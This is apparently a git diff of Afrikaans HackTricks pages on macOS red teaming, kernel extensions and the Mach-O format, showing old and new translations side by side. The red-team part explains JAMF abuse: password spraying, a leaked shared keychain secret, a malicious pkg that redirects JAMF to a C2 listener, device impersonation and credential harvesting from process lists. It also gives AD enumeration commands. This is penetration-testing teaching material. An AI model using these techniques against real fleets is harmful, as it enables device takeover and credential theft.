Om jou eie MDM te hardloop, moet jy **jou CSR deur 'n verkoper laat onderteken** wat jy kan probeer kry met [**https://mdmcert.download/**](https://mdmcert.download/). En om jou eie MDM vir Apple-toestelle te hardloop, kan jy [**MicroMDM**](https://github.com/micromdm/micromdm) gebruik.
|
||||
|
||||
Om egter 'n toepassing op 'n ingeskryfde toestel te installeer, moet dit steeds deur 'n ontwikkelaarsrekening onderteken word... maar met MDM-inskrywing voeg die **toestel die SSL-sertifikaat van die MDM as 'n vertroude CA by**, sodat jy nou enigiets kan onderteken.
|
||||
Nogtans, om 'n aansoek op 'n ingeskryfde toestel te installeer, moet dit steeds deur 'n ontwikkelaarsrekening onderteken word... maar met MDM-inskrywing voeg die **toestel die SSL-sertifikaat van die MDM as 'n vertroude CA by**, sodat jy nou enigiets kan onderteken.
|
||||
|
||||
Om die toestel in 'n MDM in te skryf, moet jy 'n **`mobileconfig`**-lêer as root installeer, wat afgelewer kan word deur 'n **pkg**-lêer (jy kan dit in 'n zip-komprimeer en wanneer dit vanaf Safari afgelaai word, sal dit gedekomprimeer word).
|
||||
Om die toestel in 'n MDM in te skryf, moet jy 'n **`mobileconfig`**-lêer as root installeer, wat afgelewer kan word via 'n **pkg**-lêer (jy kan dit in 'n zip komprimeer en wanneer dit vanaf Safari afgelaai word, sal dit gedekomprimeer word).
|
||||
|
||||
**Mythic-agent Orthrus** gebruik hierdie tegniek.
|
||||
**Mythiese agent Orthrus** gebruik hierdie tegniek.
|
||||
|
||||
### JAMF PRO-misbruik
|
||||
|
||||
JAMF kan **aangepaste skripte** (skripte wat deur die stelseladministrateur ontwikkel is), **inheemse ladinge** (skep van plaaslike rekeninge, stel EFI-wagwoord, lêer-/prosesmonitering...) en **MDM** (toestelkonfigurasies, toestelsertifikate...) uitvoer.
|
||||
JAMF kan **aangepaste skripte** (skripte ontwikkel deur die stelseladministrateur), **inheemse vragte** (plaaslike rekening skepping, stel EFI-wagwoord, lêer/prosesmonitering...) en **MDM** (toestelkonfigurasies, toestelsertifikate...) hardloop.
|
||||
|
||||
#### JAMF selfinskrywing
|
||||
#### JAMF self-inskrywing
|
||||
|
||||
Gaan na 'n bladsy soos `https://<company-name>.jamfcloud.com/enroll/` om te sien of hulle **selfinskrywing geaktiveer** het. As hulle dit het, kan dit **vra vir legitimasie om toegang te verkry**.
|
||||
Gaan na 'n bladsy soos `https://<maatskappy-naam>.jamfcloud.com/enroll/` om te sien of hulle **self-inskrywing geaktiveer het**. As hulle dit het, kan dit **vra vir kredentiale om toegang te verkry**.
|
||||
|
||||
Jy kan die skrip [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) gebruik om 'n wagwoordspuitaanval uit te voer.
|
||||
|
||||
Verder, nadat jy die regte legitimasie gevind het, kan jy moontlik ander gebruikersname met die volgende vorm deur kragtige kragtige aanvalle aanval:
|
||||
Verder, nadat jy die regte kredentiale gevind het, kan jy moontlik ander gebruikersname met die volgende vorm kragtig ontsluit:
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
#### JAMF-toestelverifikasie
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Die **`jamf`** binêre lêer bevat die geheim om die sleutelketting oop te maak wat op daardie tydstip **gedeel** was onder almal en dit was: **`jk23ucnq91jfu9aj`**.\
|
||||
Verder volharder jamf as 'n **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
Die **`jamf`** binêre lêer het die geheim bevat om die sleutelketting oop te maak wat op daardie tydstip **gedeel** was onder almal en dit was: **`jk23ucnq91jfu9aj`**.\
|
||||
Verder, jamf **volhard** as 'n **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
||||
#### JAMF-toesteloorgawe
|
||||
#### JAMF-toesteloorneem
|
||||
|
||||
Die **JSS** (Jamf Software Server) **URL** wat **`jamf`** sal gebruik, is geleë in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
Die **JSS** (Jamf Sagteware-bediener) **URL** wat **`jamf`** sal gebruik, is geleë in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
Hierdie lêer bevat basies die URL:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -80,7 +80,9 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
So, 'n aanvaller kan 'n skadelike pakkie (`pkg`) laat val wat **hierdie lêer oorskryf** wanneer dit geïnstalleer word en die **URL instel op 'n Mythic C2 luisteraar van 'n Typhon-agent** om nou JAMF te misbruik as C2.
|
||||
Dus, 'n aanvaller kan 'n skadelike pakket (`pkg`) laat val wat **hierdie lêer oorskryf** wanneer dit geïnstalleer word en die **URL na 'n Mythic C2 luisteraar van 'n Typhon agent** instel om nou JAMF as C2 te misbruik.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# After changing the URL you could wait for it to be reloaded or execute:
|
||||
sudo jamf policy -id 0
|
||||
|
@ -89,28 +91,28 @@ sudo jamf policy -id 0
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### JAMF Impersonation
|
||||
#### JAMF Nabootsing
|
||||
|
||||
Om die kommunikasie tussen 'n toestel en JMF na te boots, benodig jy die volgende:
|
||||
Om die **kommunikasie te naboots** tussen 'n toestel en JMF benodig jy:
|
||||
|
||||
* Die **UUID** van die toestel: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* Die **JAMF-sleutelbos** vanaf: `/Library/Application\ Support/Jamf/JAMF.keychain` wat die toestelsertifikaat bevat
|
||||
* Die **JAMF sleutelhang** vanaf: `/Library/Application\ Support/Jamf/JAMF.keychain` wat die toestel sertifikaat bevat
|
||||
|
||||
Met hierdie inligting, **skep 'n VM** met die **gesteelde** Hardeware **UUID** en met **SIP gedeaktiveer**, laat die **JAMF-sleutelbos val**, **haak** die Jamf **agent** en steel sy inligting.
|
||||
Met hierdie inligting, **skep 'n VM** met die **gesteelde** Hardeware **UUID** en met **SIP gedeaktiveer**, laat die **JAMF sleutelhang val**, **hook** die Jamf **agent** en steel sy inligting.
|
||||
|
||||
#### Geheimhouding steel
|
||||
#### Geheime steel
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
Jy kan ook die ligging `/Library/Application Support/Jamf/tmp/` monitor vir die **aangepaste skripte** wat administrateurs dalk wil uitvoer via Jamf aangesien hulle hier **geplaas, uitgevoer en verwyder** word. Hierdie skripte **kan geloofsbriewe bevat**.
|
||||
Jy kan ook die ligging `/Library/Application Support/Jamf/tmp/` monitor vir die **aangepaste skripte** wat admins dalk wil uitvoer via Jamf aangesien hulle hier **geplaas, uitgevoer en verwyder** word. Hierdie skripte **mag kredensiale bevat**.
|
||||
|
||||
Nietemin, **geloofsbriewe** kan aan hierdie skripte oorgedra word as **parameters**, dus sal jy `ps aux | grep -i jamf` moet monitor (sonder om selfs root te wees).
|
||||
Nietemin, **kredensiale** mag deur hierdie skripte as **parameters** oorgedra word, dus sal jy `ps aux | grep -i jamf` moet monitor (sonder om selfs root te wees).
|
||||
|
||||
Die skrip [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) kan luister vir nuwe lêers wat bygevoeg word en nuwe prosesargumente.
|
||||
Die skrip [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) kan luister vir nuwe lêers wat bygevoeg word en nuwe proses argumente.
|
||||
|
||||
### macOS Afstandsbediening
|
||||
### macOS Afstandstoegang
|
||||
|
||||
En ook oor **MacOS** "spesiale" **netwerkprotokolle**:
|
||||
En ook oor **MacOS** "spesiale" **netwerk** **protokolle**:
|
||||
|
||||
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
|
||||
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
|
@ -118,7 +120,7 @@ En ook oor **MacOS** "spesiale" **netwerkprotokolle**:
|
|||
|
||||
## Aktiewe Gids
|
||||
|
||||
In sommige gevalle sal jy vind dat die **MacOS-rekenaar aan 'n AD gekoppel is**. In hierdie scenario moet jy probeer om die aktiewe gids soos jy gewoond is te **opnoem**. Vind 'n bietjie **hulp** in die volgende bladsye:
|
||||
In sommige gevalle sal jy vind dat die **MacOS-rekenaar aan 'n AD gekoppel is**. In hierdie scenario moet jy probeer om die aktiewe gids soos jy gewoond is te **opsom**. Vind bietjie **hulp** op die volgende bladsye:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -132,15 +134,15 @@ In sommige gevalle sal jy vind dat die **MacOS-rekenaar aan 'n AD gekoppel is**.
|
|||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Sommige **plaaslike MacOS-hulpmiddels** wat jou ook kan help, is `dscl`:
|
||||
Sommige **plaaslike MacOS-hulpmiddels** wat jou ook kan help is `dscl`:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
Daar is ook 'n paar gereedgemaakte hulpmiddels vir MacOS om outomaties die AD te ondersoek en met kerberos te speel:
|
||||
Daar is ook 'n paar gereedskap vir MacOS wat voorberei is om outomaties die AD te ontleed en te speel met kerberos:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound is 'n uitbreiding van die Bloodhound ouditeringshulpmiddel wat die insameling en opname van Active Directory-verhoudings op MacOS-gashere moontlik maak.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is 'n Objective-C-projek wat ontwerp is om met die Heimdal krb5 API's op macOS te kommunikeer. Die doel van die projek is om beter sekuriteitstoetsing rondom Kerberos op macOS-toestelle moontlik te maak deur gebruik te maak van inheemse API's sonder om enige ander raamwerk of pakkette op die teiken te vereis.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript vir Automatisering (JXA) hulpmiddel vir Active Directory-ondersoek.
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound is 'n uitbreiding van die Bloodhound ouditeringswerktuig wat die insameling en opname van Aktiewe Gids-verhoudings op MacOS-gashere moontlik maak.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is 'n Objective-C projek wat ontwerp is om met die Heimdal krb5-API's op macOS te interaksieer. Die doel van die projek is om beter sekuriteitstoetsing rondom Kerberos op macOS-toestelle moontlik te maak deur gebruik te maak van inheemse API's sonder om enige ander raamwerk of pakkette op die teiken te vereis.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript vir Outomatisering (JXA) werktuig om Aktiewe Gids-ontleding te doen.
|
||||
|
||||
### Domein Inligting
|
||||
```bash
|
||||
|
@ -150,18 +152,18 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
|
||||
Die drie tipes MacOS-gebruikers is:
|
||||
|
||||
* **Plaaslike Gebruikers** - Bestuur deur die plaaslike OpenDirectory-diens, hulle is op geen manier gekoppel aan die Aktiewe Gids nie.
|
||||
* **Netwerkgebruikers** - Vlugtige Aktiewe Gids-gebruikers wat 'n verbinding met die DC-bediener benodig om te verifieer.
|
||||
* **Mobiele Gebruikers** - Aktiewe Gids-gebruikers met 'n plaaslike rugsteun vir hul geloofsbriewe en lêers.
|
||||
- **Plaaslike Gebruikers** - Bestuur deur die plaaslike OpenDirectory-diens, hulle is op geen manier gekoppel aan die Aktiewe Gids nie.
|
||||
- **Netwerkgebruikers** - Vlugtige Aktiewe Gids-gebruikers wat 'n verbinding met die DC-bediener benodig om te verifieer.
|
||||
- **Mobiele Gebruikers** - Aktiewe Gids-gebruikers met 'n plaaslike rugsteun vir hul geloofsbriewe en lêers.
|
||||
|
||||
Die plaaslike inligting oor gebruikers en groepe word gestoor in die map _/var/db/dslocal/nodes/Default._\
|
||||
Byvoorbeeld, die inligting oor 'n gebruiker genaamd _mark_ word gestoor in _/var/db/dslocal/nodes/Default/users/mark.plist_ en die inligting oor die groep _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
|
||||
Bo en behalwe die gebruik van die HasSession en AdminTo-lyne, **voeg MacHound drie nuwe lyne by** tot die Bloodhound-databasis:
|
||||
Boonop voeg **MacHound drie nuwe kante** by tot die Bloodhound-databasis deur die gebruik van die HasSession en AdminTo kante:
|
||||
|
||||
* **CanSSH** - entiteit wat toegelaat word om SSH na gasheer te maak
|
||||
* **CanVNC** - entiteit wat toegelaat word om VNC na gasheer te maak
|
||||
* **CanAE** - entiteit wat toegelaat word om AppleEvent-skripsies op gasheer uit te voer
|
||||
- **CanSSH** - entiteit wat toegelaat word om SSH na die gasheer te gebruik
|
||||
- **CanVNC** - entiteit wat toegelaat word om VNC na die gasheer te gebruik
|
||||
- **CanAE** - entiteit wat toegelaat word om AppleEvent-skripte op die gasheer uit te voer
|
||||
```bash
|
||||
#User enumeration
|
||||
dscl . ls /Users
|
||||
|
@ -185,9 +187,9 @@ dsconfigad -show
|
|||
```
|
||||
Meer inligting in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
|
||||
## Toegang tot die Sleutelbos
|
||||
## Toegang tot die Sleutelhang
|
||||
|
||||
Die Sleutelbos bevat hoogstwaarskynlik sensitiewe inligting wat, as dit sonder 'n vraag gegenereer word, kan help om 'n rooi-span-oefening voort te sit:
|
||||
Die Sleutelhang bevat hoogstwaarskynlik sensitiewe inligting wat, as dit toegang kry sonder om 'n versoek te genereer, kan help om 'n rooi span-oefening voort te sit:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -195,13 +197,13 @@ Die Sleutelbos bevat hoogstwaarskynlik sensitiewe inligting wat, as dit sonder '
|
|||
|
||||
## Eksterne Dienste
|
||||
|
||||
MacOS Red Teaming verskil van 'n gewone Windows Red Teaming omdat gewoonlik **MacOS geïntegreer is met verskeie eksterne platforms direk**. 'n Gewone konfigurasie van MacOS is om toegang tot die rekenaar te verkry deur gebruik te maak van **OneLogin-gesinkroniseerde geloofsbriewe en toegang tot verskeie eksterne dienste** (soos github, aws...) via OneLogin.
|
||||
MacOS Red Teaming verskil van 'n gewone Windows Red Teaming omdat gewoonlik **MacOS geïntegreer is met verskeie eksterne platforms direk**. 'n Gewone konfigurasie van MacOS is om toegang tot die rekenaar te verkry deur **OneLogin gesinkroniseerde geloofsbriewe te gebruik, en toegang te verkry tot verskeie eksterne dienste** (soos github, aws...) via OneLogin.
|
||||
|
||||
## Verskeie Red Team-tegnieke
|
||||
## Verskeie Red Team tegnieke
|
||||
|
||||
### Safari
|
||||
|
||||
Wanneer 'n lêer in Safari afgelaai word, sal dit as dit 'n "veilige" lêer is, **outomaties oopgemaak** word. So byvoorbeeld, as jy 'n zip aflaai, sal dit outomaties gedekomprimeer word:
|
||||
Wanneer 'n lêer in Safari afgelaai word, sal dit as dit 'n "veilige" lêer is, **outomaties oopgemaak** word. So as jy byvoorbeeld 'n zip-lêer **aflaai**, sal dit outomaties uitgepak word:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -210,19 +212,5 @@ Wanneer 'n lêer in Safari afgelaai word, sal dit as dit 'n "veilige" lêer is,
|
|||
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
|
||||
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
|
||||
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
|
||||
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
* [**Kom na die Donker Kant, Ons Het Appels: Die Omskakeling van macOS-bestuurskunde na die Bose Kant**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
# macOS Kerneluitbreidings
|
||||
# macOS Kernel-uitbreidings
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy vir 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer op HackTricks**? Of wil jy toegang hê tot die **laaste weergawe van PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Werk jy vir 'n **sakeman in siber-sekuriteit**? Wil jy jou **sakeman geadverteer sien op HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons eksklusiewe versameling van [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS- en HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Kry die [**amptelike PEASS en HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-groep** of die [**telegram-groep**](https://t.me/peass) of **volg my** op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Deel jou hacking-truuks deur 'n PR te stuur na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
@ -14,33 +14,33 @@
|
|||
|
||||
## Basiese Inligting
|
||||
|
||||
Kerneluitbreidings (Kexts) is **pakette** met 'n **`.kext`**-uitbreiding wat **direk in die macOS-kernelruimte gelaai** word en addisionele funksionaliteit aan die hoof-bedryfstelsel bied.
|
||||
Kernel-uitbreidings (Kexts) is **pakkette** met 'n **`.kext`**-uitbreiding wat **direk in die macOS-kernelruimte gelaai word**, wat addisionele funksionaliteit aan die hoofbedryfstelsel bied.
|
||||
|
||||
### Vereistes
|
||||
|
||||
Dit is vanselfsprekend dat dit so kragtig is dat dit **moeilik is om 'n kerneluitbreiding te laai**. Hier is die **vereistes** wat 'n kerneluitbreiding moet nakom om gelaai te word:
|
||||
Dit is vanselfsprekend so kragtig dat dit **ingewikkeld is om 'n kernel-uitbreiding te laai**. Dit is die **vereistes** wat 'n kernel-uitbreiding moet nakom om gelaai te word:
|
||||
|
||||
* Wanneer jy **herstelmodus betree**, moet kernel-uitbreidings toegelaat word om gelaai te word:
|
||||
* Wanneer jy **herstelmodus betree**, moet kernel-**uitbreidings toegelaat word** om gelaai te word:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Die kerneluitbreiding moet **onderteken wees met 'n kernel-kodesertifikaat**, wat slegs deur Apple **toegeken** kan word. Apple sal in detail die maatskappy en die redes waarom dit nodig is, ondersoek.
|
||||
* Die kerneluitbreiding moet ook **genotariseer** word, sodat Apple dit vir malware kan ondersoek.
|
||||
* Die **root**-gebruiker is die een wat die kerneluitbreiding kan laai en die lêers binne die pakkie moet aan **root** behoort.
|
||||
* Die kernel-uitbreiding moet **onderteken wees met 'n kernel-kodesertifikaat**, wat slegs deur Apple **toegeken kan word**. Hulle sal in detail die maatskappy en die redes waarom dit benodig word, ondersoek.
|
||||
* Die kernel-uitbreiding moet ook **genoteer wees**, sodat Apple dit vir malware kan ondersoek.
|
||||
* Dan is die **root**-gebruiker die een wat die kernel-uitbreiding kan **laai** en die lêers binne die pakkie moet aan **root** toebehoort.
|
||||
* Tydens die oplaai-proses moet die pakkie voorberei word in 'n **beskermde nie-root-plek**: `/Library/StagedExtensions` (vereis die `com.apple.rootless.storage.KernelExtensionManagement` toekenning).
|
||||
* Laastens, wanneer jy probeer om dit te laai, sal die gebruiker 'n [**bevestigingsversoek ontvang**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) en, indien aanvaar, moet die rekenaar **herlaai** word om dit te laai.
|
||||
* Laastens, wanneer 'n poging gedoen word om dit te laai, sal die gebruiker 'n [**bevestigingsversoek ontvang**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) en, indien aanvaar, moet die rekenaar **herlaai** word om dit te laai.
|
||||
|
||||
### Laaiproses
|
||||
|
||||
In Catalina was dit so: Dit is interessant om op te merk dat die **verifikasieproses** in **userland** plaasvind. Slegs programme met die **`com.apple.private.security.kext-management`**-toekenning kan egter die kernel versoek om 'n uitbreiding te laai: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
In Catalina was dit so: Dit is interessant om op te let dat die **verifikasieproses** in **gebruikersruimte** plaasvind. Tog kan slegs programme met die **`com.apple.private.security.kext-management`** toekenning die kernel nader om 'n uitbreiding te laai: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`**-opdraglyn **begin** die **verifikasieproses** vir die laai van 'n uitbreiding
|
||||
* Dit sal met **`kextd`** praat deur gebruik te maak van 'n **Mach-diens**.
|
||||
1. **`kextutil`** kliek **begin** die **verifikasieproses** vir die laai van 'n uitbreiding
|
||||
* Dit sal met **`kextd`** praat deur 'n **Mach-diens** te stuur.
|
||||
2. **`kextd`** sal verskeie dinge nagaan, soos die **handtekening**
|
||||
* Dit sal met **`syspolicyd`** praat om te **kontroleer** of die uitbreiding gelaai kan word.
|
||||
3. **`syspolicyd`** sal die **gebruiker versoek** as die uitbreiding nie voorheen gelaai is nie.
|
||||
* **`syspolicyd`** sal die resultaat aan **`kextd`** rapporteer
|
||||
4. **`kextd`** sal uiteindelik die kernel kan **instrueer om die uitbreiding te laai**
|
||||
4. **`kextd`** sal uiteindelik die kernel kan sê om die uitbreiding te laai
|
||||
|
||||
As **`kextd`** nie beskikbaar is nie, kan **`kextutil`** dieselfde kontroles uitvoer.
|
||||
|
||||
|
@ -51,11 +51,11 @@ As **`kextd`** nie beskikbaar is nie, kan **`kextutil`** dieselfde kontroles uit
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy vir 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer op HackTricks**? Of wil jy toegang hê tot die **laaste weergawe van PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Werk jy vir 'n **sakeman in siber-sekuriteit**? Wil jy jou **sakeman geadverteer sien op HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons eksklusiewe versameling van [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS- en HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Kry die [**amptelike PEASS en HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-groep** of die [**telegram-groep**](https://t.me/peass) of **volg my** op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Deel jou hacking-truuks deur 'n PR te stuur na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Universele bineêre en Mach-O-formaat
|
||||
# macOS Universele bineêre & Mach-O-formaat
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,19 +6,19 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Mac OS-bineêre lêers word gewoonlik saamgestel as **universele bineêre lêers**. 'n **Universele bineêre lêer** kan **ondersteuning bied vir verskeie argitekture in dieselfde lêer**.
|
||||
Mac OS-bineêre lêers is gewoonlik saamgestel as **universele bineêre lêers**. 'n **Universele bineêre lêer** kan **verskeie argitekture in dieselfde lêer ondersteun**.
|
||||
|
||||
Hierdie bineêre lêers volg die **Mach-O-struktuur**, wat basies bestaan uit:
|
||||
Hierdie bineêre lêers volg die **Mach-O-struktuur** wat basies bestaan uit:
|
||||
|
||||
* Kop
|
||||
* Laai-opdragte
|
||||
|
@ -26,7 +26,7 @@ Hierdie bineêre lêers volg die **Mach-O-struktuur**, wat basies bestaan uit:
|
|||
|
||||
.png>)
|
||||
|
||||
## Vetkop
|
||||
## Vet Kop
|
||||
